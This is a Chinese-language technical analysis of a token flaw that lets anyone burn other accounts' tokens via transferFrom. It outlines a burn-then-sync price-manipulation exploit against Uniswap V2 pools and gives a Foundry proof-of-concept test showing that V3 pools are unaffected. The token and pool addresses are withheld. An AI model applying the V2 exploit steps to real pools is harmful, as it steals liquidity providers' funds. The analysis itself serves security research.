【技术分析】UniV3 Pool 对 burnable 漏洞代币的防护机制
代币漏洞
攻击者可以通过 transferFrom
函数 burn
任意账户的 Vul 代币。
因为本问涉及的漏洞可导致用户资产损失,所以不提供代币和 Pool 的地址,代币名称用 Vul 代币代替。
利用方式
在 V2 Pool 场景下,针对 burnable
漏洞的利用方式
- 购买少量 Vul 代币
burn
掉大量 V2 Pool 中的 Vul 代币- 调用
Pool.sync()
函数更新reserve
变量,对价格进行操控 - 用步骤 1 中的 Vul 代币,以步骤 3 中的价格,换出大量的 WETH 代币完成获利
但是以上的操作在 V3 中是不可行的,因为 V3 版本只根据 mint
操作中更新的 Position
来计算价格,且不提供 sync
类型的函数来根据 balance
来更新当前的价格。
V3 不提供
sync
和skim
等直接操作 Pool balance 的函数,且 V3 的mint
,burn
,swap
和flash
等操作也不会根据 Pool balance 来更新价格。
所以即使把 V3 Pool 中的 token0
通过漏洞 burn
掉,依然不会影响到 swap
时候的价格,只会导致无法换出 token0
。也就是说 burnable
漏洞无法在 V3 Pool 上被用来获利。
PoC 验证
通过 foundry 来进行验证,查看 burn 漏洞对 V3 Pool 价格的影响
function test_HackVul() public {
IUniswapV3Pool pool = IUniswapV3Pool(...);
ISwapRouter router = ISwapRouter(...);
IERC20(WETH).approve(address(router), type(uint256).max);
IERC20(Vul).approve(address(router), type(uint256).max);
IERC20 vulnToken = IERC20(pool.token0());
uint160 sqrtPriceX96;
// Initial Price
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Initial Price):", sqrtPriceX96);
// Swap WETH -> Vul
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: WETH,
tokenOut: Vul,
fee: 100,
recipient: address(this),
deadline: block.timestamp,
amountIn: 1e18,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
router.exactInputSingle(params);
// Price before burn
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Price before burn):", sqrtPriceX96);
// Burn Vul from pool
vulnToken.transferFrom(address(pool), address(0), IERC20(vulnToken).balanceOf(address(pool)));
// Price after burn
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(Price after burn):", sqrtPriceX96);
// Swap Vul -> WETH
ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams({
tokenIn: Vul,
tokenOut: WETH,
fee: 100,
recipient: address(this),
deadline: block.timestamp,
amountIn: vulnToken.balanceOf(address(this)),
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
router.exactInputSingle(params2);
// The price was not affected by the vulnerability
(sqrtPriceX96,,,,,,) = pool.slot0();
console.log("sqrtPriceX96(The price was not affected):", sqrtPriceX96);
}
结果显示 burn
掉 V3 Pool 中的代币并不会影响价格
[PASS] test_HackVul() (gas: 483668)
Logs:
sqrtPriceX96(Initial Price): 9636092331332244639264478
sqrtPriceX96(Price before burn): 12558296738001735018391306
sqrtPriceX96(Price after burn): 12558296738001735018391306
sqrtPriceX96(The price was not affected): 9636316559882523596720639